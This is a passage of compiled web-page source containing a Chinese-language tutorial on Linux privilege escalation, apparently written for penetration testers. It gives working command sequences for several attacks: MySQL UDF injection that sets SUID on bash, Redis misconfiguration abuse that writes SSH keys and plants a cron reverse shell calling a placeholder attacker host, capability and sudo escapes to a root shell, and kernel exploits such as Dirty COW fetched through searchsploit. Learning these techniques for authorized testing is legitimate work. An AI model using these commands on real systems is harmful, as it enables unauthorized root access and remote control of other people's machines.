5668\u7684\u4e34\u65f6\u76ee\u5f55\uff08\u5982",(0,i.jsx)(e.code,{children:"/tmp"}),"\uff09\u3002"]}),"\n",(0,i.jsx)(e.li,{children:"\u767b\u5f55MySQL\uff0c\u67e5\u8be2\u63d2\u4ef6\u76ee\u5f55\u4f4d\u7f6e\uff1a"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sql",children:"SELECT @@plugin_dir;\n"})}),"\n",(0,i.jsxs)(e.ol,{start:"3",children:["\n",(0,i.jsxs)(e.li,{children:["\u5148\u5c06\u6076\u610f\u5e93\u6587\u4ef6\u8f6c\u4e3a16\u8fdb\u5236\u683c\u5f0f\uff08\u6bd4\u5982\u7528 ",(0,i.jsx)(e.code,{children:"xxd -p lib_mysqludf_sys.so"}),"\uff09\uff0c\u7136\u540e\u62c6\u5206\u6210\u5408\u9002\u5927\u5c0f\u7684\u7247\u6bb5\u3002"]}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"xxd -p lib_mysqludf_sys.so\n"})}),"\n",(0,i.jsxs)(e.ol,{start:"4",children:["\n",(0,i.jsxs)(e.li,{children:["\u4f7f\u7528MySQL\u7684",(0,i.jsx)(e.code,{children:"FILE"}),"\u6743\u9650\uff0c\u5c06\u4e0a\u4f20\u7684",(0,i.jsx)(e.code,{children:".so"}),"\u6587\u4ef6\u5199\u5165\u63d2\u4ef6\u76ee\u5f55\uff1a"]}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sql",children:"SELECT UNHEX('7f454c4602010100000000000000000002003e0001000000b0404000000000004000000000000000000000000') \nINTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';\n"})}),"\n",(0,i.jsxs)(e.ol,{start:"5",children:["\n",(0,i.jsx)(e.li,{children:"\u52a0\u8f7d\u6076\u610f\u5171\u4eab\u5e93\u4e3aMySQL\u81ea\u5b9a\u4e49\u51fd\u6570\uff1a"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sql",children:"CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';\n"})}),"\n",(0,i.jsxs)(e.ol,{start:"6",children:["\n",(0,i.jsx)(e.li,{children:"\u8c03\u7528\u81ea\u5b9a\u4e49\u51fd\u6570\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u5b9e\u73b0\u63d0\u6743\uff1a"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sql",children:"SELECT sys_exec('chmod +s /bin/bash');\n"})}),"\n",(0,i.jsxs)(e.ol,{start:"7",children:["\n",(0,i.jsx)(e.li,{children:"\u5229\u7528\u83b7\u5f97Set-UID\u6743\u9650\u7684shell\uff1a"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"/bin/bash -p\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5373\u53ef\u83b7\u5f97root\u6743\u9650\u7684shell\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"redis-\u63d0\u6743",children:"Redis \u63d0\u6743"}),"\n",(0,i.jsx)(e.p,{children:"Redis \u9ed8\u8ba4\u8fd0\u884c\u5728 root \u6743\u9650\u6216\u9ad8\u6743\u9650\u7528\u6237\u4e0b\uff0c\u82e5\u76ee\u6807 Redis \u5f00\u542f\u672a\u6388\u6743\u8bbf\u95ee\uff0c\u4e14\u5141\u8bb8\u5199\u6587\u4ef6\uff0c\u5219\u53ef\u5199\u5165 SSH \u516c\u94a5\u3001\u5199 cron \u8ba1\u5212\u4efb\u52a1\u3001\u5199\u5165\u53cd\u5f39 shell\uff0c\u6700\u7ec8\u5b9e\u73b0\u672c\u5730\u63d0\u6743\u6216\u8fdc\u7a0b\u63a7\u5236\u3002"}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:"\u4e00\u3001\u524d\u63d0\u6761\u4ef6"}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"Redis \u65e0\u9700\u8ba4\u8bc1"}),"\uff08\u6216\u653b\u51fb\u8005\u5df2\u83b7\u5f97 Redis \u5bc6\u7801\uff09\uff1b"]}),"\n",(0,i.jsx)(e.li,{children:"Redis \u670d\u52a1\u8fd0\u884c\u7528\u6237\u6743\u9650\u8f83\u9ad8\uff08\u5982 root\uff09\uff1b"}),"\n",(0,i.jsx)(e.li,{children:"Redis \u914d\u7f6e\u5141\u8bb8\u5916\u90e8\u8fde\u63a5\uff1b"}),"\n",(0,i.jsxs)(e.li,{children:["Redis \u53ef\u6267\u884c ",(0,i.jsx)(e.code,{children:"CONFIG SET"})," \u5199\u5165\u76ee\u5f55\u548c\u6587\u4ef6\uff08\u901a\u5e38\u672a\u7981\u7528\uff09\uff1b"]}),"\n",(0,i.jsx)(e.li,{children:"\u76ee\u6807\u4e3b\u673a\u5141\u8bb8\u8bbf\u95ee Redis \u7aef\u53e3\uff08\u9ed8\u8ba4 6379\uff09\uff1b"}),"\n",(0,i.jsxs)(e.li,{children:["\u53ef\u63a7\u5236 Redis \u7684\u5199\u5165\u8def\u5f84\uff08\u5982 ",(0,i.jsx)(e.code,{children:"/root/.ssh/authorized_keys"})," \u6216 ",(0,i.jsx)(e.code,{children:"/var/spool/cron/root"})," \u7b49\uff09\uff1b"]}),"\n"]}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:"\u4e8c\u3001\u653b\u51fb\u539f\u7406"}),"\n",(0,i.jsxs)(e.p,{children:["Redis \u652f\u6301\u901a\u8fc7 ",(0,i.jsx)(e.code,{children:"CONFIG SET"})," \u4fee\u6539\u6570\u636e\u76ee\u5f55 ",(0,i.jsx)(e.code,{children:"dir"})," \u548c\u6570\u636e\u5e93\u6587\u4ef6\u540d ",(0,i.jsx)(e.code,{children:"dbfilename"}),"\uff0c\u5e76\u53ef\u901a\u8fc7 ",(0,i.jsx)(e.code,{children:"SAVE"})," \u547d\u4ee4\u5c06\u5f53\u524d\u5185\u5b58\u4e2d\u7684\u6570\u636e\u5199\u5165\u78c1\u76d8\u3002\u653b\u51fb\u8005\u5c06\u6076\u610f\u5185\u5bb9\u5199\u5165\u952e\u503c\u5bf9\u540e\uff0c\u518d\u901a\u8fc7 ",(0,i.jsx)(e.code,{children:"SAVE"})," \u5c06\u8fd9\u4e9b\u5185\u5bb9\u4ee5\u6587\u4ef6\u5f62\u5f0f\u5199\u5165\u76ee\u6807\u76ee\u5f55\uff0c\u5b9e\u73b0\u4efb\u610f\u6587\u4ef6\u5199\u5165\u3002"]}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:"\u4e09\u3001\u5e38\u89c1\u5229\u7528\u65b9\u5f0f"}),"\n",(0,i.jsx)(e.p,{children:"\u2705 \u5199\u5165 SSH \u516c\u94a5\uff08\u63d0\u6743\u5230 root\uff09"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u6b65\u9aa4\uff1a"})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'# \u751f\u6210\u5bc6\u94a5\u5bf9\nssh-keygen -t rsa -f redis_key\n\n# \u8fde\u63a5 Redis\nredis-cli -h target_ip\n\n# \u5199\u5165\u516c\u94a5\u5185\u5bb9\u4e3a\u503c\uff08\u9700\u6362\u884c\uff09\nset backup "\\n\\nssh-rsa AAAAB3Nza...\u4f60\u7684\u516c\u94a5...== attacker@kali\\n\\n"\n\n# \u8bbe\u7f6e\u76ee\u6807\u8def\u5f84\nconfig set dir /root/.ssh/\nconfig set dbfilename "authorized_keys"\n\n# \u5199\u5165\u78c1\u76d8\nsave\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u7136\u540e\u5373\u53ef\u901a\u8fc7\u79c1\u94a5 SSH \u767b\u5f55\u76ee\u6807\u4e3b\u673a\uff0c\u83b7\u5f97 root shell\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:"ssh -i redis_key root@target_ip\n"})}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:"\u2705 \u5199\u5165 Cron Job\uff08\u6267\u884c\u53cd\u5f39 shell\uff09"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"# \u5199\u4e00\u4e2a\u53cd\u5f39 shell \u5230 Redis\nset backup \"\\n* * * * * /bin/bash -c 'bash -i >& /dev/tcp/yourip/port 0>&1'\\n\"\n\n# \u4fee\u6539\u76ee\u5f55\nconfig set dir /var/spool/cron/\nconfig set dbfilename root\n\n# \u6267\u884c\u5199\u5165\nsave\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u76d1\u542c\u7aef\u53e3\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"nc -lvvp port\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u4e00\u5206\u949f\u540e\u76ee\u6807\u673a\u5668\u81ea\u52a8\u8fde\u63a5\u56de\u6765\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"capabilities-\u63d0\u6743",children:"Capabilities \u63d0\u6743"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728 Linux \u4e2d\uff0c\u4f20\u7edf\u4e0a\u53ea\u6709 ",(0,i.jsx)(e.code,{children:"root"})," \u7528\u6237\u624d\u80fd\u6267\u884c\u67d0\u4e9b\u53d7\u9650\u64cd\u4f5c\uff0c\u5982\u76d1\u542c\u4f4e\u7aef\u53e3\u3001\u52a0\u8f7d\u5185\u6838\u6a21\u5757\u3001\u6267\u884c\u6302\u8f7d\u7b49\u3002\u4e3a\u7ec6\u5316\u6743\u9650\u63a7\u5236\uff0cLinux \u5f15\u5165\u4e86 ",(0,i.jsx)(e.strong,{children:"Capabilities\uff08\u80fd\u529b\u4f4d\uff09"})," \u6982\u5ff5\uff0c\u628a\u539f\u672c root \u72ec\u6709\u7684\u6743\u9650\u62c6\u5206\u4e3a\u82e5\u5e72\u5c0f\u80fd\u529b\u4f4d\uff0c\u5141\u8bb8\u975e root \u7528\u6237\u5728\u4fdd\u7559\u6700\u5c0f\u6743\u9650\u7684\u524d\u63d0\u4e0b\u6267\u884c\u7279\u5b9a\u64cd\u4f5c\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u653b\u51fb\u8005\u82e5\u80fd\u53d1\u73b0\u67d0\u4e2a\u4e8c\u8fdb\u5236\u7a0b\u5e8f\u5177\u5907\u7279\u6b8a Capabilities\uff08\u5c24\u5176\u662f\u5177\u5907 ",(0,i.jsx)(e.code,{children:"cap_setuid"}),", ",(0,i.jsx)(e.code,{children:"cap_setgid"}),", ",(0,i.jsx)(e.code,{children:"cap_sys_admin"})," \u7b49\uff09\uff0c\u5c31\u53ef\u80fd\u901a\u8fc7\u5b83\u95f4\u63a5\u63d0\u6743\u4e3a root\u3002"]}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:"\u67e5\u770b Capabilities"}),"\n",(0,i.jsxs)(e.p,{children:["\u4f7f\u7528 ",(0,i.jsx)(e.code,{children:"getcap"})," \u547d\u4ee4\u53ef\u67e5\u770b\u7cfb\u7edf\u4e2d\u5177\u6709 Capabilities \u7684\u53ef\u6267\u884c\u6587\u4ef6\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"getcap -r / 2>/dev/null\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u8f93\u51fa\u793a\u4f8b\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"/usr/bin/python3.11 = cap_setuid+ep\n/usr/bin/ping = cap_net_raw+ep\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8bf4\u660e ",(0,i.jsx)(e.code,{children:"/usr/bin/python3.11"})," \u5177\u6709 ",(0,i.jsx)(e.code,{children:"cap_setuid"})," \u6743\u9650\uff0c\u53ef\u4ee5\u8bbe\u7f6e\u7528\u6237UID\u3002"]}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:"\u5173\u952e Capabilities \u6743\u9650\u4f4d\u8bf4\u660e"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:"Capabilities"}),(0,i.jsx)(e.th,{children:"\u542b\u4e49"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:"cap_setuid"})}),(0,i.jsx)(e.td,{children:"\u5141\u8bb8\u8fdb\u7a0b\u66f4\u6539\u5176\u6709\u6548 UID\uff08\u53ef\u7528\u4e8e\u63d0\u6743\uff09"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:"cap_setgid"})}),(0,i.jsx)(e.td,{children:"\u5141\u8bb8\u66f4\u6539 GID"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:"cap_sys_admin"})}),(0,i.jsx)(e.td,{children:"\u7c7b\u4f3c root \u6743\u9650\uff0c\u53ef\u6302\u8f7d\u3001\u4fee\u6539\u7cfb\u7edf\u914d\u7f6e\u7b49"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:"cap_dac_override"})}),(0,i.jsx)(e.td,{children:"\u7ed5\u8fc7\u6587\u4ef6\u6743\u9650\u68c0\u67e5\uff08\u7c7b\u4f3c root \u53ef\u8bfb\u5199\u4efb\u610f\u6587\u4ef6\uff09"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:"cap_net_bind_service"})}),(0,i.jsx)(e.td,{children:"\u76d1\u542c 1024 \u4ee5\u4e0b\u7aef\u53e3"})]})]})]}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:"\u63d0\u6743\u5229\u7528\u573a\u666f\uff08\u6848\u4f8b\uff09"}),"\n",(0,i.jsxs)(e.p,{children:["\u5229\u7528\u5e26\u6709 ",(0,i.jsx)(e.code,{children:"cap_setuid+ep"})," \u7684\u4e8c\u8fdb\u5236\u63d0\u6743"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5982\u679c\u653b\u51fb\u8005\u53d1\u73b0\u67d0\u7a0b\u5e8f\uff08\u5982 Python\uff09\u5177\u6709 ",(0,i.jsx)(e.code,{children:"cap_setuid+ep"})," \u6743\u9650\uff0c\u53ef\u4ee5\u521b\u5efa\u4e00\u4e2a SUID shell\uff0c\u4ece\u800c\u63d0\u6743\u3002"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u5229\u7528\u6b65\u9aa4\uff1a"})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"# \u68c0\u67e5\u662f\u5426\u5177\u6709 cap_setuid\ngetcap /usr/bin/python3.11\n# \u8f93\u51fa\u5e94\u4e3a: /usr/bin/python3.11 = cap_setuid+ep\n\n# \u7f16\u5199 Python \u63d0\u6743\u4ee3\u7801\n/usr/bin/python3.11 -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u6b64\u65f6\uff0c\u653b\u51fb\u8005\u5c06\u83b7\u5f97 root shell\u3002"}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsxs)(e.p,{children:["\u5229\u7528 ",(0,i.jsx)(e.code,{children:"cap_dac_override"})," \u7ed5\u8fc7\u6743\u9650\u9650\u5236\u8bfb\u53d6\u6587\u4ef6"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"# \u82e5\u67d0\u4e8c\u8fdb\u5236\u5177\u6709 cap_dac_override\uff0c\u53ef\u8bfb\u53d6\u4efb\u610f\u6743\u9650\u6587\u4ef6\n/usr/bin/cat /etc/shadow\n"})}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:"\u5229\u7528\u81ea\u7f16\u7a0b\u7a0b\u5e8f\u6267\u884c\u63d0\u6743"}),"\n",(0,i.jsxs)(e.p,{children:["\u653b\u51fb\u8005\u53ef\u5c06\u4efb\u610f\u4e8c\u8fdb\u5236\u8bbe\u7f6e cap \u6743\u9650\uff08\u5982 ",(0,i.jsx)(e.code,{children:"cap_setuid"}),"\uff09\uff0c\u5b9e\u73b0\u63d0\u6743\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'# \u751f\u6210\u4e00\u4e2aC\u7a0b\u5e8f\ncat > suid_shell.c <<EOF\n#include <unistd.h>\nint main() {\n setuid(0); system("/bin/bash");\n return 0;\n}\nEOF\n\n# \u7f16\u8bd1\ngcc suid_shell.c -o suid_shell\n\n# \u8d4b\u4e88cap_setuid\nsudo setcap cap_setuid+ep ./suid_shell\n\n# \u6267\u884c\u5373\u63d0\u6743\n./suid_shell\n'})}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.h3,{id:"sudo-\u63d0\u6743",children:"Sudo \u63d0\u6743"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"sudo \u63d0\u6743"})," \u662f\u6307\u5f53\u7528\u6237\u53ef\u4ee5\u901a\u8fc7 ",(0,i.jsx)(e.code,{children:"sudo"})," \u6267\u884c\u67d0\u4e9b\u547d\u4ee4\u65f6\uff0c\u5229\u7528\u8be5\u547d\u4ee4\u7684\u7279\u6027\u6267\u884c\u4efb\u610f\u547d\u4ee4\u6216\u9003\u9038\u5230\u4ea4\u4e92\u5f0f shell\uff0c\u4ece\u800c\u63d0\u6743\u4e3a root\u3002\u5173\u952e\u70b9\u5728\u4e8e ",(0,i.jsx)(e.code,{children:"sudo -l"})," \u5217\u51fa\u7684\u547d\u4ee4\u662f\u5426\u5b58\u5728\u53ef\u5229\u7528\u70b9\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u4f8b\u5982\uff0c\u5f53\u7528\u6237\u53ef\u6267\u884c\u5982\u4e0b\u547d\u4ee4\u65f6\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"sudo vim\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u53ef\u4ee5\u5728 vim \u4e2d\u8f93\u5165\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:":!bash\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5373\u53ef\u5f39\u51fa root shell\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u53c8\u5982\u7528\u6237\u80fd\u6267\u884c ",(0,i.jsx)(e.code,{children:"sudo less"}),"\uff0c\u4e5f\u53ef\u4ee5\u8f93\u5165\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"!bash\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u6216\u5f53\u80fd\u6267\u884c ",(0,i.jsx)(e.code,{children:"sudo python"})," \u65f6\uff0c\u76f4\u63a5\u8f93\u5165\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:'import os\nos.system("/bin/bash")\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u82e5\u80fd\u6267\u884c ",(0,i.jsx)(e.code,{children:"sudo find"}),"\uff0c\u5219\u53ef\u6267\u884c\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"sudo find . -exec /bin/bash \\;\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u4f8b\u5982",(0,i.jsx)(e.code,{children:"sudo awk"})]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-shell",children:"ubuntu@VM-4-13-ubuntu:/$ sudo awk 'BEGIN {system(\"/bin/sh\")}'\n# whoami\nroot\n#\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u82e5\u80fd\u6267\u884c ",(0,i.jsx)(e.code,{children:"sudo cp"})," \u6216\u5176\u4ed6\u6587\u4ef6\u64cd\u4f5c\u547d\u4ee4\uff0c\u4e5f\u53ef\u4ee5\u7528\u5b83\u4eec\u8986\u76d6\u654f\u611f\u6587\u4ef6\u5982 ",(0,i.jsx)(e.code,{children:"/etc/sudoers"})," \u6216 ",(0,i.jsx)(e.code,{children:"/etc/passwd"}),"\uff0c\u914d\u5408\u524d\u8ff0\u65b9\u6cd5\u5b8c\u6210\u63d0\u6743\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"\u5185\u6838-\u63d0\u6743",children:"\u5185\u6838 \u63d0\u6743"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u5185\u6838\u63d0\u6743"})," \u662f\u901a\u8fc7\u5229\u7528 Linux \u5185\u6838\u4e2d\u7684\u5df2\u77e5\u6f0f\u6d1e\uff0c\u8fd0\u884c\u672c\u5730\u6f0f\u6d1e\u5229\u7528\u4ee3\u7801\uff08exploit\uff09\u5b9e\u73b0\u6743\u9650\u63d0\u5347\u3002\u5e38\u7528\u65b9\u5f0f\u662f\u5148\u7528 ",(0,i.jsx)(e.code,{children:"uname -r"})," \u83b7\u53d6\u5185\u6838\u7248\u672c\uff0c\u518d\u7528 ",(0,i.jsx)(e.code,{children:"searchsploit"})," \u67e5\u627e\u5bf9\u5e94\u6f0f\u6d1e\u5229\u7528\u5de5\u5177\uff0c\u6700\u540e\u4e0b\u8f7d\u7f16\u8bd1\u6267\u884c\u5b8c\u6210\u63d0\u6743\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u64cd\u4f5c\u793a\u4f8b\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"uname -r\nsearchsploit linux kernel 5.4.0\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5047\u8bbe\u641c\u7d22\u7ed3\u679c\u91cc\u51fa\u73b0\u4e86\u7ecf\u5178\u7684 Dirty COW \u6f0f\u6d1e\u5229\u7528\uff08\u7f16\u53f7 44110\uff09\uff0c\u4f60\u53ef\u4ee5\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"searchsploit -m 44110\ngcc 44110.c -o dirtycow\n./dirtycow\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u6267\u884c\u540e\uff0c\u82e5\u6f0f\u6d1e\u5b58\u5728\uff0c\u7a0b\u5e8f\u4f1a\u5e2e\u4f60\u5c06\u6743\u9650\u63d0\u5347\u4e3a root\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u7c7b\u4f3c\u7684\uff0c\u8fd8\u6709 overlayfs\u3001run_pipe\u7b49\u6f0f\u6d1e\uff0c\u4e5f\u80fd\u7528 ",(0,i.jsx)(e.code,{children:"searchsploit"})," \u627e\u5230\u5bf9\u5e94\u4ee3\u7801\uff0c\u901a\u8fc7\u7f16\u8bd1\u8fd0\u884c\u5b9e\u73b0\u63d0\u6743\u3002"]}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:"\u8fd9\u79cd\u5229\u7528\u5185\u6838\u6f0f\u6d1e\u63d0\u6743\u7684\u65b9\u5f0f\u9002\u5408\u76ee\u6807\u7cfb\u7edf\u5185\u6838\u7248\u672c\u8f83\u8001\uff0c\u4e14\u672a\u6253\u8865\u4e01\u7684\u573a\u666f\uff0c\u63d0\u6743\u6210\u529f\u540e\u53ef\u4ee5\u62ff\u5230\u5b8c\u6574 root \u6743\u9650\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u810f\u725b-\u63d0\u6743cve-2016-5195",children:"\u810f\u725b \u63d0\u6743\uff08CVE-2016-5195\uff09"}),"\n",(0,i.jsx)(e.p,{children:"\u810f\u725b\u662f\u4e00\u4e2a\u975e\u5e38\u7ecf\u5178\u7684\u5185\u6838\u63d0\u6743\u6f0f\u6d1e\uff0c\u5b58\u5728Linux\u5185\u6838\u4e2d\u5df2\u7ecf\u6709\u957f\u8fbe9\u5e74\u7684\u65f6\u95f4\uff0c\u57282007\u5e74\u53d1\u5e03\u7684Linux\u5185\u6838\u7248\u672c\u4e2d\u5c31\u5df2\u7ecf\u5b58\u5728\u6b64\u6f0f\u6d1e\uff0c\u57282016\u5e7410\u670818\u540e\u624d\u5f97\u4ee5\u4fee\u590d\u5f71\u54cd\u8303\u56f4\uff1aLinux kernel>2.6.22 (released in 2007)\u7684\u6240\u6709Linux\u7cfb\u7edf\uff0c\u4e14\u4f4e\u4e8e\u4ee5\u4e0b\u7248\u672c\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-tex",children:"Centos7/RHEL7 3.10.0-327.36.3.el7\nCetnos6/RHEL6 2.6.32-642.6.2.el6\nUbuntu 16.10 4.8.0-26.28\nUbuntu 16.04 4.4.0-45.66\nUbuntu 14.04 3.13.0-100.147\nDebian 8 3.16.36-1+deb8u2\nDebian 7 3.2.82-1\n\n"})}),"\n",(0,i.jsx)(e.p,{children:"linux\u5185\u6838\u7684\u5185\u5b58\u5b50\u7cfb\u7edf\u5728\u5904\u7406\u79c1\u6709\u6620\u5c04\u65f6\u7684\u5199\u65f6\u590d\u5236\uff08copy on write\uff0cCOW\uff09\u7684\u4e2d\u65ad\u65b9\u5f0f\u91cc\u521b\u5efa\u4e86\u6761\u4ef6\u7ade\u4e89\uff0c\u8be5\u6761\u4ef6\u7ade\u4e89\u53ef\u80fd\u8fd0\u884c\u975e\u7279\u6743\u7528\u6237\u83b7\u5f97\u5bf9\u53ea\u8bfb\u5185\u5b58\u6620\u5c04\u7684\u5199\u5165\u6743\u9650\u3002\u5199\u65f6\u590d\u5236\u662f\u4e00\u79cd\u5185\u5b58\u7ba1\u7406\u7684\u4f18\u5316\u6280\u672f\uff0c\u7528\u4e8e\u5728\u591a\u4e2a\u8fdb\u7a0b\u5171\u4eab\u540c\u4e00\u4e2a\u5185\u5b58\u9875\u7684\u60c5\u51b5\u4e0b\u907f\u514d\u5185\u5b58\u51b2\u7a81\u3002\u5f53\u4e00\u4e2a\u8fdb\u7a0b\u8bd5\u56fe\u4fee\u6539\u4e00\u4e2a\u5185\u5b58\u9875\u65f6\uff0c\u64cd\u4f5c\u7cfb\u7edf\u4f1a\u81ea\u52a8\u590d\u5236\u8fd9\u4e2a\u5185\u5b58\u9875\uff0c\u800c\u4e0d\u4f1a\u53d7\u5230\u5f53\u524d\u8fdb\u7a0b\u4fee\u6539\u7684\u5f71\u54cd"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u5229\u7528\u65b9\u5f0f"})}),"\n",(0,i.jsx)(e.p,{children:"\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u4f4e\u6743\u9650\u4f1a\u8bdd\u662f\u65e0\u6cd5\u4fee\u6539\u9ad8\u6743\u9650\u6587\u4ef6\uff0c\u6bd4\u5982 /etc/passwd\u3001/etc/shadow\u3001/etc/group \u7b49\u3002\u810f\u725b\u6f0f\u6d1e\u7684\u5229\u7528\u65b9\u5f0f\u662f\uff1a\u9996\u5148\u4f7f\u7528 mmap \u51fd\u6570\u7533\u8bf7\u865a\u62df\u5185\u5b58\uff0c\u5728\u865a\u62df\u5185\u5b58\u4e0a\u627e\u5230\u4e00\u4e2a\u9875\u9762\u521b\u5efa\u79c1\u6709\u6620\u5c04\uff08\u4ee5 /etc/group \u4e3a\u4f8b\uff09\u3002\u7531\u4e8e\u6b64\u6620\u5c04\u662f\u79c1\u6709\u7684\uff0c\u56e0\u6b64\u53ef\u4ee5\u968f\u610f\u5bf9\u6587\u4ef6\u5199\u5165\u4fee\u6539\u800c\u4e0d\u4f1a\u5f71\u54cd\u539f\u6587\u4ef6\uff0c\u7136\u540e\u5411\u79c1\u6709\u6620\u5c04\u6587\u4ef6\u4e2d\u5199\u5165\u5185\u5bb9\uff0c\u5c06\u5f53\u524d\u7528\u6237\u6dfb\u52a0\u81f3 sudo \u7ec4\uff0c\u4f46\u4e0d\u662f\u76f4\u63a5\u5411 mmap \u7533\u8bf7\u7684\u865a\u62df\u6620\u5c04\u4e2d\u5199\u5165\u5185\u5bb9\uff0c\u800c\u662f\u5411 Linux \u4e2d\u7684\u4e00\u4e2a\u7279\u6b8a\u6587\u4ef6 /proc/self/mem \u4e2d\u5199\u5165\u3002"}),"\n",(0,i.jsx)(e.p,{children:"mmap 